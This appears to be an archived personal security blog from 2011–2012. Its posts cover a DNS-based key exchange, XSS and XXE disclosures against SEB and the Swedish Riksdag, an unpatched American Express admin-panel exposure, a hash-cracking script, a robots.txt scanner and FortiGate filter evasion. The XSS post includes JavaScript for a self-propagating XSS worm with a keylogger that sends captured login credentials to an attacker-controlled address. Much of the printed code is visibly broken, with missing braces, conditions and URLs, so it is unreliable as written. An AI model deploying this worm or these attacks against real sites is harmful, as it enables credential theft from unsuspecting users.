Archive for the ‘Security’ Category

Presenting DNSDH

Thursday, March 29th, 2012

DNSDH is a protocol for exchanging cryptographic keys using the Diffie-Hellman algorithm. Instead of exchanging keys traditionally, the clients speak to a bogus DNS server to initiate an encrypted session in an existing channel of communication. The cryptographically relevant packets travel through a data path that appear to be normal domain name resolve queries to remain stealth and effective even behind limited and surveillanced networks. Please understand that the DNS server is only pretending to be a server for performing name lookups by using its language but performing different tasks.

The bogus DNS server is the center of the key exchange. It uses memcached to store data in memory and deletes any output after it’s been delivered to its recipient. The point of DNSDH is to establish a reliable network enabling anything that can perform a DNS request to exchange cryptographic keys using discrete bogus domain name queries. The nodes communicating, Alice and Bob, could possibly be two cellphones, IRC clients or even death stars. It’s also a great blast to teasingly merge cryptographic key exchanges with traffic that is rarely looked at by network administrators unless they want to censor or monitor you.

When initializing the session Alice first declares the values of p, g and Alice’s private key (alice_private) and then queries the bogus DNS server with dnsdhinit.p.g.alice_public. The DNS server creates a sessionid and stores it in the memory with the data provided in Alice’s query. Alice tells Bob that she wants to talk privately and sends him a packet containing the sessionid provided by the DNS server. Bob queries the DNS server with the sessionid recieved from Alice. The DNS server replies with the information provided in Alice’s query. Bob then proceeds by declaring his own private key (bob_private) and calculates the value of his public key: g^bob_private mod p. Bob can then calculate the secret he shares with Alice: alice_public^bob_private mod p. Then Bob queries the DNS server with dnsdhinit.bob_public, receives an id and sends it to Alice in a packet. Alice then queries the DNS server with the id, receives bob_public and calculates the secret she shares with Alice: bob_public^alice_secret mod p.


$ ./ 1337 1338 init
[+] Generating keys...
[+] alice_pub_key: 7
[+] alice_priv_key: 19
[+] Query dnsdhinit.23.5.7
[+] SEND DNSDH_INIT: 6035559
[]: DNSDH_FINISH: 9300804
[+] Query sessionid.9300804
[+] p: 23
[+] g: 5
[+] bob_public: 1
[+] Shared secret: 1


$ ./ 1338 1337
[]: DNSDH_INIT: 6035559
[+] Query sessionid.6035559
[+] p: 23
[+] g: 5
[+] alice_public: 7
[+] Generating keys...
[+] bob_pub_key: 1
[+] bob_priv_key: 0
[+] Shared secret: 1
[+] Query dnsdhinit.1
[+] SEND DNSDH_FINISH: 9300804

Source code

The source code is available on Github.

SE Banken multiple vulnerabilities

Friday, February 10th, 2012

Skandinaviska Enskilda Banken AB (SEB) is a Swedish financial group for corporate customers, institutions and private individuals with headquarters in Stockholm, Sweden. Its activities comprise mainly banking services, but SEB also carries out significant life insurance operations and also owns Eurocard. The bank was founded by and is controlled by the powerful Swedish Wallenberg family through their investment company Investor AB.

Page frame contents are decided by unsafely handled url parameters leaving the cms software globally vulnerable to xss attacks. Vulnerable domains are,,,,,, and any other domain hosting the vulnerable cms. Customers may have illegitimate third party scripts executed on their computer or be subject to login credential theft and keylogging.

Proof of concept

2011-12-05: Vulnerabilities discovered
2012-01-12: Contacted SEB
2012-01-18: Received response (Computer Security Incident Response Team)
2012-01-19: SIRT notified
2012-02-09: Vulnerabilities patched
2012-02-10: Public disclosure

Eliminating the myths of XSS attacks

Thursday, December 8th, 2011

In this post I will introduce you to undiscovered usages of an XSS, and also demonstrate how to transform a non-persistent XSS to a persistent and make an actual practical threat. Cross site scripting attacks are listed as number two on OWASP’s top 10 list of application security risks year 2010, and I wouldn’t expect those numbers to drop anytime soon.

The used attack vectors of an XSS are quite simple:

  1. Attacker injects code into data which the server reflects, other users visit the page where the malicious code is displayed and get their cookies stolen.
  2. Attacker injects code into request parameters that the server reflects, sends infected URI to the victim user whose cookie is stolen.
  3. Attacker injects code that exploits unknown web browser vulnerability to install malware on the users computer into request parameters that is somehow (either through number one or number two) executed by the user.
  4. Attacker injects malicious login form and performs a phishing attack on the victim.

That’s pretty much it. When an XSS is demonstrated, persistent or not, a researcher will throw a JavaScript alert() message or inject a cookie stealer. In the eye of the unconscious developer of the site, your alert() doesn’t mean anything. Fake JavaScript page defacements don’t mean a thing either. “Oh, you can give me a warning? Good for you.” The only time they will act is when your injection can somehow mess up the way the page looks. And not because it’s a security risk, but because it’s messing up their layout.

Nobody cares about stolen cookies. And why would they? Cookies are not the issue. It’s common praxis to require re-authentication, like password input, besides session values to change things that will affect requiring new session values: new e-mail address, new password, etc. In truly sensitive systems cookies should be bound to the user’s IP address, and if the attacker has local access to the victim’s IP address there are so many attack possibilities that the cookie isn’t the victim’s largest problem.

I believe that it’s safe to assume that the popularity of unpatched XSS vulnerabilities is due to warnings about nonthreatening threats. “Hey man, check this out. I totally just alert(‘hax’):ed your site locally in my own browser without affecting anybody!” Nobody is going to take that seriously.

Keep in mind that there’s a huge differentiating detail between a vulnerable GET and POST parameter. For logical reasons web browsers perform GET requests by default, and maliciously getting a user to submit something with an infected POST parameter is (“should” be) harder than giving them a link.

Broadening the scope of an XSS attack

As a demonstration of what JavaScript is truly capable of when used for malicious purposes, I have written a self aware virus that infects links and forms (href and action attributes) with its own payload when an infected victim’s web browser renders the page. The virus looks for a query parameter containing \%3c\%73\%63\%72\%69\%70\%74 (<script) in the query of an URI and then infects the target destinations with itself so that it’s kept for a longer period than just the one page the user is viewing. It should logically always find at least one occurrence of itself, otherwise it wouldn’t execute to begin with.

This way, the virus spreads through transformation from a non-persistent XSS injection to a semi-persistent. It exercises worm-like behavior; not in the sense of spreading user->user, but page->page. It is, however, user borne if infected links are copied between multiple users. By infecting action attributes of form elements the infection is also active after the user has executed a login or logout, unless the web server performs a redirect to an uninfected URI.

Wonderfully enough, it’s possible to pass any GET parameters with any value you want to an httpd without breaking anything. You could GET without breaking anything, unhandled parameters are completely ignored. Thus our virus can be very aggressive about infection: the infected victim wouldn’t tell a difference either way. It’s quite unrare that a vulnerable CMS or MVC will allow the same vulnerable parameter to be passed to any visually rendered part of the site. Remember American Express?

Either way, login credentials are sent to a remote location controlled by the attacker. All form elements are hooked up with a keylogger. By default, the virus makes HTTP requests to an URI controlled by the attacker, and requests the logged information making it show up in logs like GET /username=foo,password=bar It is very easy to hook it up with additional sniffing, e.g. parsing the rendered website for credit card information.

It’s written to be entirely independent of bloated JavaScript libraries and plugins to keep it as light weight as possible at execution. It’s still an educational proof of concept though, and some bugs are intentionally left unfixed.

// Inject param=payload into target
function inject(target, param, payload)
    return target + "?" + param + "=" + payload;
  return target + "&" + param + "=" + payload;

// Sends data to remote location
function snatch(data)
  var i = document.createElement("img");
  i.src = "" + data;

window.onload = function()
  var query = RegExp..split("&");

  for(i = 0; i < query.length; i++)
    var tmp = query[i].split("=");
    var unescaped = unescape(tmp[1]);
    var payload = "";

    for(x = 0; x < unescaped.length; x++)
      payload += '%' + unescaped.charCodeAt(x).toString(16);

    // Found self
      var param = tmp[0];

  // Infect href elements
  var links = document.getElementsByTagName("a");
  for(i = 0; i < links.length; i++)
    links[i].href = inject(links[i].href, param, payload);

  var forms = document.getElementsByTagName("form");
  for(i = 0; i < forms.length; i++)
    // Infect action elements
    document.forms[i].action = inject(forms[i].action, param, payload);

    // Initialize keylogger
    document.forms[i].onsubmit = function()
      var logged = new Array();
      for(x = 0; x < this.elements.length; x++)
        if(this.elements[x].type != "submit")
          logged[x] = this.elements[x].type + "=" + this.elements[x].value;

      return true;

UPDATE: The method of spreading was first introduced in the BeEF framework


Sunday, November 13th, 2011

BozoCrack is a depressingly effective MD5 password hash cracker with almost zero CPU/GPU load. Instead of rainbow tables, dictionaries, or brute force, BozoCrack simply finds the plaintext password. Specifically, it googles the MD5 hash and hopes the plaintext appears somewhere on the first page of results.

It works way better than it ever should.

BozoCrack was originally written in Ruby and published on GitHub by juuso. I liked the idea, and figured I’d do a PHP port:

 * BozoCrack is a depressingly effective MD5 password hash
 * cracker with almost zero CPU/GPU load. Instead of
 * rainbow tables, dictionaries, or brute force, BozoCrack
 * simply finds the plaintext password. Specifically, it
 * googles the MD5 hash and hopes the plaintext appears
 * somewhere on the first page of results.
 * Original BozoCrack can be found on
 * Ported from Ruby to PHP by Niklas Femerstrand,, 2011
 * License:

  die("Usage example: $ php bozocrack.php file_with_md5_hashes.txt\n");

$fileContents = file_get_contents($_SERVER['argv'][1]);
preg_match_all("/\b([a-fA-F0-9]{32})\b/", $fileContents, $hashes);
$hashes = array_unique($hashes[0]);
printf("Loaded %s unique hashes\n", count($hashes));

foreach($hashes as $hash)
  $response = file_get_contents("{$hash}");
  $wordlist = preg_split("/\s+/", $response);
  foreach($wordlist as $word)
    if($hash == md5($word))
      printf("%s:%s\n", $hash, $word);

Hushmail and the security misunderstanding

Thursday, October 20th, 2011

Let’s talk a bit about a very common topic which is widely discussed whenever secure communication is brought up: encrypted emails. People often wonder what the best way to talk securely is through email. Hushmail is a popular service, if you haven’t heard of it then look it up. The problem with Hushmail is that people believe that it’s secure. Searching for them on Twitter brings up tweets written by groups such as Anonymous and the recent Occupy Wall Street inspired subcultures. The problem with most Hushmail users is that they believe that they are secure, either because they have no idea of what they’re relying on or because they didn’t read what they’re told. Hushmail has, like the marketing genious it is, after all, never really claimed to be secure. At least not if you dig around a bit and actually read what they’re saying. You don’t have to be a rocket scientist to see a monetary interest in not printing such information directly in your face, but instead build a security facade with keyhole images all over the place. The problem is that people haven’t done their homework.

As we all know, and South Park beautifully illustrated in its “Human Centipad” episode, users don’t read user agreements. Ever. The time has come to do so. A snippet from Hushmail’s privacy policy reveals that:

“Hush restricts user information and has protocols that allow only specific employees to have access to the user database itself.”

Man, I love buzzwords… Continuing: “Hushmail does not put you above the law”:

“We are committed to the privacy of our users, and will absolutely not release user data without an order that is legally enforceable under the laws of British Columbia, Canada, which is the jurisdiction where our servers are located. In addition, we require that any such order refer specifically to the account for which data is required.


That means that there is no guarantee that we will not be compelled, under an order enforceable under the laws of British Columbia, Canada, to treat a user named in an order differently, and compromise that user’s privacy.”

A trip down Hushmail’s memory lane reveals that it handed over 12 CDs of decrypted emails to the US authorities, but that’s not really worth going further into. Let’s just conclude that it’s entirely possible.

The moral of the story is that you’re trusting a service with your private communication which promises to not release any data to governments unless they explicitly ask for it through Canadian law as proxy. The same governments that already passed mass surveillance laws which are probably at least a tad reason of why you want to secure your digital communication to begin with. For all we know, they might already have politely asked Hushmail and similar services to install backdoors which they could use whenever. You lose, but please don’t forget to insert all your coins and play again.

robots.txt scanner proof of concept

Friday, October 7th, 2011

Due to the recent scandal of American Express listing their publicly available admin debug panel in their robots.txt file, here’s a sloppy proof of concept that can be used to find similar security issues.


  • robots can ignore your /robots.txt. Especially malware robots that scan the web for security vulnerabilities, and email address harvesters used by spammers will pay no attention.
  • the /robots.txt file is a publicly available file. Anyone can see what sections of your server you don’t want robots to use.

Either way, a location such as /us/admin/ would be in any wordlist of interesting locations and you should always protect sensitive parts of your system with authorization requirements.

 * Quick hack to determine HTTP status codes of locations listed in a host's
 * robots.txt file.
 * Author: Niklas Femerstrand,, 2011
 * License:

// Determine HTTP status code of $file on $host
function httpstatus($host, $file) {
   $fp = fsockopen($host,80,$errno,$errstr,30);
   $out = "GET /$file HTTP/1.1\r\n".
          "Host: $host\r\n".
          "Connection: Close\r\n\r\n";
   $response = fgets($fp);
   return chop($response);

if (!$argv[1])
	die("usage: $ php robotscan.php <host>\n   eg: $ php robotscan.php\n");

$host = preg_replace("/\/$/", "", $argv[1]);
$target_url = $argv[1] . "/robots.txt";

$filters = array("/[ ]?Allow:[ ]?/",
                 "/[ ]?Disallow:[ ]?/",
                 "/[ ]?Sitemap:.*/",
                 "/[ ]?Request-rate:.*/",
                 "/[ ]?Crawl-delay:.*/",
                 "/[ ]?Visit-time:.*/",
                 "/User-agent: .*/",

echo "[+] Getting robots.txt content\n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "{$argv[1]}/robots.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$robots = curl_exec($ch);

	$httpStatus = httpstatus($host, "robots.txt");
	if(preg_match("/200 OK/", $httpStatus))
		die("[-] robots.txt exists but seems empty\n");
		die("[-] {$httpStatus}\n");
elseif(preg_match("/([\<])([^\>]+)*([\>])/i", $robots))
	die("[-] robots.txt is incorrectly formatted (html?)\n");
	$robots = preg_replace($filters, "", $robots);
	$robots = preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $robots);
	$arr = explode("\n", $robots);

	foreach($arr as $loc)
		printf("[+] %s: %s\n", "{$host}{$loc}: ", httpstatus($host, $loc));

0day Full disclosure: American Express

Wednesday, October 5th, 2011

When somebody voluntarily contacts a company and repeatedly mentions words like “security vulnerability” and “hacker” one would think the company would act as quickly as possible. At least all of the companies that I’ve been in touch with regarding security issues have. This time the experience streak changed drastically. To my great surprise American Express doesn’t allow anybody to contact them. Instead, you’re sent through their ten-year-old copyright noticed website’s first line support jungle to be attacked with questions ensuring that you’re a paying customer. If you’re not then you might as well not bother, unless you feel like speaking technical advanced 0day vulnerabilities with incompetent support personnel either through Twitter direct messages or phone. They will leave you no option of contacting them in a manner that circumvents any theoretical possibility they may have of boosting sales numbers.

The only acceptable contact methods that I found on their site were telephone, fax or physical mail to some typoed country called Swerige. I figured none of them were suitable for 0day reports and decided to turn to Twitter and ask for an e-mail address or some other modern protocol.

AMEX Tweet conversation

With the pesky, but relevantly necessary, introduction out of the way: let’s focus on the concrete security disclosure. A little “oops” that one of the developers left behind unprotected breaches many parts of American Express’ security in one hit, one might say that this mistake is a multikill. On you’ll find the following admin panel:

The left column is a list of, what the American Express developers call “heroes”, for the current period. (Most people call them “news”.) The list is downloadable as a CSV file and the contents are completely harmless:

"10026","Inactive","In Development","NN105 - Brand - JD Power 5 Year Win Midas","/us/heroes/10026-Brand-JDPower5thYearMidas/hero.html"
"10025","Inactive","In Development","NN135 - Brand - Vente Privee","/us/heroes/10025-Brand-VentePrivee/hero.html"
"10022","Active","Prospect & Cardmember","NM280 - Travel - MIDAS Help Is On the Way","/us/heroes/10022-Travel-HelpIsOnTheWay/hero.html"
"10021","Active","Prospect & Cardmember","NM207 - Travel - Travel Pier Sept 2011","/us/heroes/10021-Travel-TravelPierSept2011/hero.html"
"10020","Active","Prospect & Cardmember","NL986 - Brand - JD Power 5 Year Win","/us/heroes/10020-Brand-JDPower5thYear/hero.html"
"10018","Active","Prospect & Cardmember","NL872 - OPEN - Business Rewards Gold","/us/heroes/10018-OPEN-BusinessRewardsGold/hero.html"
"10014","Active","Prospect & Cardmember","Brand - AMEX Facebook Sync","/us/heroes/10014-Brand-FacebookSync/hero.html"
"10012","Active","Prospect & Cardmember","Brand - AMEX Foursquare Sync","/us/heroes/10012-Brand-FoursquareSync/hero.html"
"10002","Active","Prospect & Cardmember","Mobile - AMEX Mobile Services","/us/heroes/10002-Mobile-MobileServices/hero.html"
"10024","Active","Cardmember","NN047 - Brand - Profile and Preferences","/us/heroes/10024-Brand-ProfileandPreferences/hero.html"
"10023","Active","Cardmember (PZN Only)","NM612 - OPEN - PZN Business Rewards Gold","/us/heroes/10023-OPEN-PznBusinessRewardsGold/hero.html"
"10017","Active","Cardmember (PZN Only)","NL766 - CCSG - MIDAS Platinum Benefits","/us/heroes/10017-CCSG-PlatinumBenefits/hero.html"
"10016","Active","Cardmember (PZN Only)","NL767 - OPEN - MIDAS Platinum Benefits","/us/heroes/10016-OPEN-PlatinumBenefits/hero.html"
"10019","Inactive","Expired","Brand - 911 Tribute Movement","/us/heroes/10019-Brand-911TributeMovement/hero.html"
"10015","Inactive","Expired","Entertainment - USOPEN Total Immersion","/us/heroes/10015-Entertainment-USOPENTotalImmersion/hero.html"
"10013","Inactive","Expired","Brand - AMEX Facebook Sync","/us/heroes/10013-Brand-FacebookSync/hero.html"
"10011","Inactive","Expired","OPEN - Big Break","/us/heroes/10011-Open-SmallBusiness/hero.html"
"10009","Inactive","Expired","Entertainment - US OPEN Pre-Sale","/us/heroes/10009-Entertainment-USOPENPreSale/hero.html"
"10008","Inactive","Expired","Travel - Get Your Feet Wet","/us/heroes/10008-Travel-GetYourFeetWet/hero.html"
"10007","Inactive","Expired","Membership Rewards - Social Currency","/us/heroes/10007-Rewards-SocialCurrency/hero.html"
"10006","Inactive","Expired","Mobile - Million Downloads","/us/heroes/10006-Mobile-MillionDownloads/hero.html"
"10005","Inactive","Expired","Brand - US Homepage Launch","/us/heroes/10005-Brand-USHomepageLaunch/hero.html"
"10003","Inactive","Expired","Brand - AMEX Members Project","/us/heroes/10003-Brand-MembersProject/hero.html"
"10004","Inactive","Expired","Membership Rewards - Social Currency","/us/heroes/10004-Rewards-SocialCurrency/hero.html"
"10001","Inactive","Expired","NPL - Zync Homepage Promo","/us/heroes/10001-NPL-Zync/hero.html"
"20001","Inactive","Expired","Brand - JD Power & Associates 2010 (Prospect)","/us/heroes/20001-Brand-JDPower2010/hero.html"
"30001","Inactive","Expired","Brand - JD Power & Associates 2010 (Cardmember)","/us/heroes/30001-Brand-JDPower2010/hero.html"
"99001","Inactive","Expired","Animation Prototype","/us/heroes/99001-FPO-PowerOfMembership/hero.html"

The right column of the admin panel consists of what the developers call “cardmember cookies” and options for setting them with various parameters. The cookies are then used for viewing the heroes with various user permissions for debugging. A JavaScript comment gives an idea of how such an important thing as the admin debugging could be left wide open:

/* don't ask me how exactly, but this gets the main
domain froma  hostname; */

Adobe DigitalPulse v3 was also left behind fully accessible by anyone:

I must say their debug window impressed me. It’s a fancy little jQuery using div that I’m very sure that the developers enjoy using:

Understandably developers get sloppy around security implementations in debug features. Ironically, this becomes a direct threat in a case where a company’s developers don’t protect their debugging tools from the public. The debugging tool is vulnerable to XSS and it quickly becomes an issue when the debugging tools are called through unprotected GET parameters. Proof of concept (read warning below):

The debug window refreshes itself so injected code that doesn’t break the loop will execute infinitely. An attacker could inject a cookie stealer combined with jQuery’s .hide() and harvest cookies which can, ironically enough, be exploited by using the admin panel provided by sloppy American Express developers.

Let’s hope American Express resolve these issues ASAP :-)

Security advisory:

Thursday, September 29th, 2011

Discovered by: Niklas Femerstrand (qnrq)

Overview is an API developed by the legislative assembly of Sweden.

A vulnerability exists in the generation of XML data where data values of the output are affected by parameters in the URL. Hexadecimal values are improperly validated leaving the software vulnerable to parameter and JavaScript injections and XML external entity attacks. A successful XXE attack grants an unauthorized attacker read permissions with privilege escalation possibilities and various services on the web server risk becoming compromised.

Proof of concept
Test parameter injection:

Disclosure timeline
2011-09-27 Notified web section director (Anna Olderius)
2011-09-28 Received response
2011-09-28 Issues resolved
2011-09-29 Public release

FortiGate censorship analysis

Monday, September 12th, 2011

The S23K, also known as the Pirate Bay tour bus, had boarded a Scandlines ferry from Trelleborg. We were a group of pirates and hackers on our way to Chaos Communication Camp 2011 in Finowfurt, Germany. There was free satellite WiFi available on board, and after a while me and my friend jaywalk of Telecomix discovered that one of the project’s home domains,, had been blocked for being a “malicious website”. With approximately an hour left from reaching Germany we found this to be a perfect opportunity to warm up.

The blockade of, filtered as a “Malicious Website” most likely triggered by the occurance of the word “anarchy” in the domain, was quickly evaded by accessing the site using HTTPS. SNI (Server Name Indication) was ignored. We found that was blocked on IP level and so was

We found that blockades on the IP level were forwarded to port 8008 on the FortiGate gateway. Accessing the gateway directly gives a login prompt for disabling filters.

If you’re interested, their 756 page system manual is publicly available for download. If you read between the lines you’ll be able to extract information on how to work around their censorship or even disable it completely. :-)

FortiGate categories

  • Abortion
  • Abused Drugs
  • Adult Materials
  • Advertisements
  • Advocacy Groups
  • Alcohol and Tobacco
  • Arts and Entertainment
  • Brokerage and Trading
  • Business and Economy
  • Computer Security
  • Cult or Occult
  • Cultural Institutions
  • Dynamic Content
  • Education
  • File Sharing and Storage
  • Financial Data and Services
  • Freeware and Software
  • Download
  • Gambling
  • Games
  • Gay or Lesbian or Bisexual Interest
  • Government and Legal Organizations
  • Hacking
  • Health
  • Illegal or Questionable Information
  • Technology
  • Internet Communication
  • Job Search
  • Malicious Web Sites
  • Medicine
  • Militancy and Extremist
  • Military Organizations
  • Miscellaneous
  • News and Media
  • Nudity
  • Pay to Surf
  • Personals and Dating
  • Political Organizations
  • Pornography
  • Racism or Hate
  • Reference Materials
  • Religion
  • Search Engines and Portals
  • Shopping and Auction
  • Social Organizations
  • Society and Lifestyles
  • Special Events
  • Sports
  • Spyware
  • Streaming Media
  • Tasteless
  • Travel
  • Vehicles
  • Violence
  • Weapons
  • Web Hosting
  • Web-based Email

FortiGate classification levels

  • Unclassified
  • Cached Content
  • Multimedia
  • Search
  • Image Search
  • Audio Search
  • Video Search
  • Spam URL
  • Personal Privacy

Erroneous cryptography usage in reCAPTCHA API

Friday, September 2nd, 2011

As a developer you’ll definitely stumble upon a lot of ugly code, and sometimes some snippets are just plain “wtf?”. I found this one by an accident a couple of months ago while browsing through the reCAPTCHA API library developed by Google. First, let’s take a quick look at the PHP manual for a libmcrypt introduced function called mcrypt_encrypt():

string mcrypt_encrypt ( string $cipher , string $key , string $data , string $mode [, string $iv ] )

reCAPTCHA offers a way to only display email addresses to users that solve a CAPTCHA (catchy, huh?) called Mailhide. The Mailhide part of recaptchalib declares a function called _recaptcha_aes_encrypt() and it is declared as below:

function _recaptcha_aes_encrypt($val,$ky) {
        if (! function_exists ("mcrypt_encrypt")) {
                die ("To use reCAPTCHA Mailhide, you need to have the mcrypt php module installed.");
        return mcrypt_encrypt($enc, $ky, $val, $mode, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0");

As you can see, the initialization vector (the last parameter of mcrypt_encrypt()) used is statically defined as a nullbyte string. If you’ve studied cryptography to some extent you probably know that the entire purpose of the initialization vector is to ensure that the same data encrypted with the same key outputs different ciphertext, just like the purpose of a password salt is to generate different hashes for equal password strings in authentication.

By using the \0 IV string Google simply silences a warning which PHP would generate if mcrypt_encrypt() would be called using Rijndael in CBC mode without a specified IV, thus it is possible that the used IV is nothing but a fix of this warning. However, using a static nonrandom IV makes the algorithm susceptible to dictionary attacks. _recaptcha_aes_encrypt() may not be a very important part of the reCAPTCHA API to keep secure, but a very easy solution to this would be to use another block cipher mode which does not require an initialization vector.